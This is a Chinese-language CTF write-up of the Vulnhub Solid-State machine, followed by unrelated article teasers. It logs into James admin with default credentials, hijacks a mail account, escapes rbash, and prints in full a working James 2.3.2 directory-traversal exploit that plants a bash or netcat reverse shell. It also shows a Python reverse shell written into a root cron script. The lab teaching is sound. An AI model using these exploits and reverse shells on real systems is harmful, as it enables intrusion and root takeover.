[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸

信息收集&SSH

Server IP addressPorts Open
192.168.8.100TCP:22,25,80,110,119,4555

Nmap 扫描:

$ nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV

结果:

Host is up (0.00061s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 192.168.8.100 (192.168.8.107 [192.168.8.107]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

目标存在 james-admin 服务.

$ nc 192.168.8.100 4555

使用root,root登录服务管理

image.png

修改用户mindy密码.

setpassword mindy mindy

再次连接到pop3服务

$ nc -nC 192.168.8.100 110

user mindy
pass mindy
list
retr 2

image-1.png

从邮件中获得用户名密码

username: mindy
pass: P@55W0rd1!2@

通过ssh登录后,你会发现这个用户受到rbash权限限制

image-2.png

当用户使用 rbash 时,会受到以下限制:

  • 禁止更改目录:用户无法使用 cd 命令更改当前工作目录。
  • 禁止设置和取消设置 shell 选项和位置参数:用户无法使用 set 和 unset 命令来更改 shell 的选项和位置参数。
  • 禁止执行包含斜杠(/)的命令:用户不能直接执行路径中包含斜杠的命令。这意味着用户只能运行系统中已经配置好的命令。
  • 禁止重定向输出:用户不能使用重定向(如 > 和 <)来读写文件。
  • 禁止使用环境变量更改路径:用户无法更改 $PATH 环境变量,以防止其访问未经授权的命令。
  • 禁止导入和定义函数:用户无法使用 source 或 . 来运行脚本,也不能定义函数。

使用 ssh -t 选项 rbash逃逸

$ ssh mindy@192.168.8.100 -t bash

image-3.png

使用 ssh -t 选项绕过 rbash
当你使用 ssh -t bash 命令时,实际的行为涉及以下关键点:

强制分配伪终端

  • -t 选项强制 SSH 会话分配一个伪终端。这在某些情况下是必要的,例如当需要交互式 shell 时。

直接启动新 Shell

  • SSH 成功登录后,-t bash 告诉 SSH 在目标机器上直接启动 bash shell,而不是默认的登录 shell。即使默认的登录 shell 是 rbash,该命令也会覆盖默认的 shell 并启动一个普通的 bash

逃逸 rbash 的限制

  • rbash 环境中,用户无法直接通过命令行启动 bash,因为它禁止执行包含斜杠的命令和路径。
    通过使用 ssh -t bash,你绕过了 rbash 的限制,因为这个命令是在 SSH 会话建立时由远程 SSH 服务处理的,而不是在 rbash shell 内部处理的。

利用 James 已知漏洞 rbash逃逸

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
    print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    print ("[+]Creating user...")
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()

    print ("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
    s.send("ehlo team@team.pl\r\n".encode('utf-8'))
    recv(s)
    print ("[+]Sending payload...")
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: team@team.pl\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print ("Connection failed.")

我们逐步分析脚本
1.这个脚本是利用了James目录穿越漏洞
2.创建一个恶意用户
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
3.连接SMTP(25)服务,发送邮件给…/…/…/…/…/…/…/…/etc/bash_completion.d

s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)

这行代码中发送给了 ../../../../../../../../etc/bash_completion.d,但是实际上服务端在处理该邮件时,已将带有反向shell的载荷保存到 ../../../../../../../../etc/bash_completion.d

由于 /etc/bash_completion.d 目录中的脚本在用户启动 Bash 时会自动加载和执行,因此当用户登录时,payload(有效载荷)也会被执行。

所以我们需要监听10032

$ nc -lvnp 10032
$ python3 exp.py 192.168.8.100 192.168.8.107 10032

image-4.png

因此我们需要利用ssh登录,来触发payload

$ ssh mindy@192.168.8.100

image-5.png

image-6.png

Local.txt 截屏

image-7.png

Local.txt 内容

dj218doa91

权限提升

我们将pspy32工具上传至服务器
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32

pspy32 是 pspy 工具的 32 位版本。pspy 是一个开源工具,用于监控 Linux 系统上的进程和命令执行。它不需要 root 权限,也不依赖于系统上的任何特定库或二进制文件,因此可以非常方便地用于安全审计和调试目的。

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x pspy32

image-8.png

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ vi /opt/tmp.py

root 用户执行了/opt/tmp.py
不幸的是,我们无法在/etc/crontab看到这个任务执行周期
通过ls -la /opt/tmp.py 查看,验证了这个文件的确可以被任何用户修改

我们将反向shell代码写入到/opt/tmp.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

image-9.png

$ nc -lvnp 10033

几分钟后我们可以获取目标Root权限

image-10.png

Proot.txt 截屏

image-11.png

Proot.txt 内容

di1910012n

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/710154.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Nacos启动报错

报错日志&#xff1a; Caused by: java.lang.NullPointerException at com.mysql.jdbc.ConnectionImpl.getServerCharset(ConnectionImpl.java:2983) at com.mysql.jdbc.MysqlIO.sendConnectionAttributes(MysqlIO.java:1873) at com.mysql.jdbc.Mysql…

Spring boot 启动报:Do not use @ for indentation

一、使用maven插件动态切换配置时出现报错 二、配置文件及pom 2.1 配置文件结构 2.2 application.yml spring: # 根据环境读取配置文件&#xff08;手动&#xff09; # profiles: # active: dev# 根据环境读取配置文件&#xff08;通过勾选maven插件&#xff09;profiles…

SAP Build 2-PDF数据提取与决策

0. 安装desktop agent 在后续过程中发现要预先安装desktop agent&#xff0c;否则没法运行自动化流程… 0.1 agent下载 参考官方文档说明 https://help.sap.com/docs/build-process-automation/sap-build-process-automation/create-user-in-rbsc-download-repository?loca…

AI 一键换脸,背景替换,ioDraw让图片更有趣

还在为繁琐的图片处理而烦恼吗&#xff1f;快来试试ioDraw的AI图片工具&#xff01; 它集图像识别、图像生成、智能换脸、背景替换、图像融合、肖像风格化、空间风格化、智能扩图、智能抠图、画质提升、美颜、拉伸修复、透视校正等功能于一身&#xff0c;为你提供前所未有的图…

网络攻击第二节考题有问题的

这个选ab&#xff0c;不懂a是啥这俩是啥 DHCP欺骗-教程详解-CSDN博客 OSI七层网络攻击行为及防范手段_物理层的攻击方式-CSDN博客 这选项讲了吗 选abc 假消息攻击-CSDN博客 啥是ips防护 12题选adcd 为啥连接别人的wifi会被dns欺骗&#xff1f;&#xff1f; 连接的那个wifi…

appproxy 一个轻量级的VPN代理工具,支持HTTP, SOCKS5协议

appproxy 项目背景 在分析app的时候,偶尔需要抓包,尝试了目前比较常见的代理工具Drony Postern ProxyDroid 发现都有一个相同的问题,对于较新的Android系统不太友好,要么app列表显示不正常,或者界面过于复杂,往往设置之后经常会失效,偶然在play上发现一个比较新的代理工具,界…

I/O Stream设计实验

实验要求和目的 深入理解java输入输出流相关类的基本用法&#xff0c;并且可以掌握Java程序的编写和调试。 实验环境 Java语言&#xff0c;PC或android平台 实验具体内容 设计和编写以下程序&#xff1a; 程序1&#xff1a; 从键盘读入多行字符串&#xff08;英文&#xf…

终于把AUC的计算方式搞懂了!

1. 横纵坐标 纵坐标&#xff1a;sensitivity或者TPR 横坐标&#xff1a;FPR 或者 1-Specificity 2. 计算方法 2.1 方法1 def get_roc_auc(y_true, y_score):"""正样本得分大于负样本得分的概率&#xff0c;需要遍历每个正样本和每个负样本1. 选取所有正样本与…

蓝牙资讯|苹果iOS 18增加对AirPods Pro 2自适应音频的更多控制

苹果 iOS 18 系统将为 AirPods Pro 2 用户带来一项实用功能 —— 更精细的“自适应音频”控制。AirPods Pro 2 的“自适应音频”功能包含自适应降噪、个性化音量和对话增强等特性&#xff0c;可以根据周围环境自动调节声音和降噪效果。 当更新至最新测试版固件的 AirPods Pro 2…

小白跟做江科大32单片机之定时器

原理部分 1. 计数器每遇到一个上升沿就会计数值1,。 72MHZ72000000 72000000/65536/655360.0167638063430786132812559.652323555555554 (s) 2. 3. 计数时钟每来一个上升沿&#xff0c;计数值1&#xff0c;自动运行。如果计数值与存储在自动重装载寄存器中的值相等&#…

养猫发现猫毛过敏?宠物空气净化器真的能拯救猫毛过敏吗?

广东省 猫咪是许多人梦寐以求的伴侣&#xff0c;但对于轻度猫毛过敏和鼻炎患者来说&#xff0c;养猫似乎是个遥不可及的梦想。我常在社交媒体上羡慕地观看朋友们的吸猫日常&#xff0c;却因过敏无法亲自养猫。这种遗憾驱使我寻找解决方案&#xff0c;从研究低过敏猫种到尝试空气…

通过语言大模型来学习LLM和LMM(四)

一、大模型学习 新的东西&#xff0c;学习的东西就是多&#xff0c;而且最简单最基础的都需要学习&#xff0c;仿佛一点基础知识都要细嚼慢咽&#xff0c;刨根问底&#xff0c;再加上一顿云里雾里的吹嘘&#xff0c;迷迷糊糊的感觉高大上。其实就是那么一回事。再过一段时日&a…

注解 - @ResponseStatus

注解简介 在今天的每日一注解中&#xff0c;我们将探讨ResponseStatus注解。ResponseStatus是Spring框架中的一个注解&#xff0c;用于为控制器方法指定HTTP响应状态码和理由短语。 注解定义 ResponseStatus注解用于标记控制器方法或异常类&#xff0c;以指示HTTP响应的状态码…

R语言数据分析案例28-对数据集可视化和T检验

一、分析主题&#xff1a; 本分析旨在对数据集进行可视化和 T 检验&#xff0c;以探索数据集中的变量之间的关系和差异。通过可视化数据&#xff0c;我们可以直观地了解数据的分布和趋势&#xff0c;而 T 检验则可以帮助我们确定这些差异是否具有统计学意义。 二、具体分析 …

pyrouge(ROUGE-1.5.5)的安装步骤和使用说明(适用于Linux 系统)

摘要&#xff1a;本文讲解了如何配置和使用文本摘要的评价指标ROUGE(linux 系统)。 ✅ NLP 研 1 选手的学习笔记 简介&#xff1a;小王&#xff0c;NPU&#xff0c;2023级&#xff0c;计算机技术 研究方向&#xff1a;摘要生成、大语言模型生成 文章目录 一、为啥要写这篇博客&…

uniapp 开发版小程序之间跳转

uni.navigateToMiniProgram({appId: urL,path: patH,envVersion: release,//我使用develop会给我返回&#xff1a;开发版小程序已过期&#xff0c;请在开发者工具重新扫码确定success(res) {console.log(res);// 打开成功uni.showToast({title: 跳转成功})},fail(err) {console…

【CS.AL】算法核心之贪心算法:从入门到进阶

文章目录 1. 概述2. 适用场景3. 设计步骤4. 优缺点5. 典型应用6. 题目和代码示例6.1 简单题目&#xff1a;找零问题6.2 中等题目&#xff1a;区间调度问题6.3 困难题目&#xff1a;分数背包问题 7. 题目和思路表格8. 总结References 1000.1.CS.AL.1.4-核心-GreedyAlgorithm-Cre…

Linux Source命令及脚本的执行方式解析

Linux Source命令及脚本的执行方式解析 当修改了/etc/profile文件&#xff0c;想让它立刻生效&#xff0c;而不用重新登录&#xff0c;这时就想到用source命令&#xff0c;如:source /etc/profile source命令&#xff1a; 也称为“点命令”&#xff0c;也就是一个点符号&…

显著提高iOS应用中Web页面的加载速度 - 提前下载页面的关键资源(如JavaScript、CSS和图像)

手动下载并缓存资源是一种有效的方式&#xff0c;可以确保在需要时资源已经在本地存储&#xff0c;这样可以显著提高加载速度。 缓存整个 web 页面的所有资源文件 具体实现步骤 下载和缓存资源&#xff1a;包括 HTML 文件、CSS、JavaScript 和图像。在应用启动时预加载资源。…

鸿蒙 游戏来了 鸿蒙版 五子棋来了 我不允许你不会

团队介绍 作者:徐庆 团队:坚果派 公众号:“大前端之旅” 润开鸿生态技术专家,华为HDE,CSDN博客专家,CSDN超级个体,CSDN特邀嘉宾,InfoQ签约作者,OpenHarmony布道师,电子发烧友专家博客,51CTO博客专家,擅长HarmonyOS/OpenHarmony应用开发、熟悉服务卡片开发。欢迎合…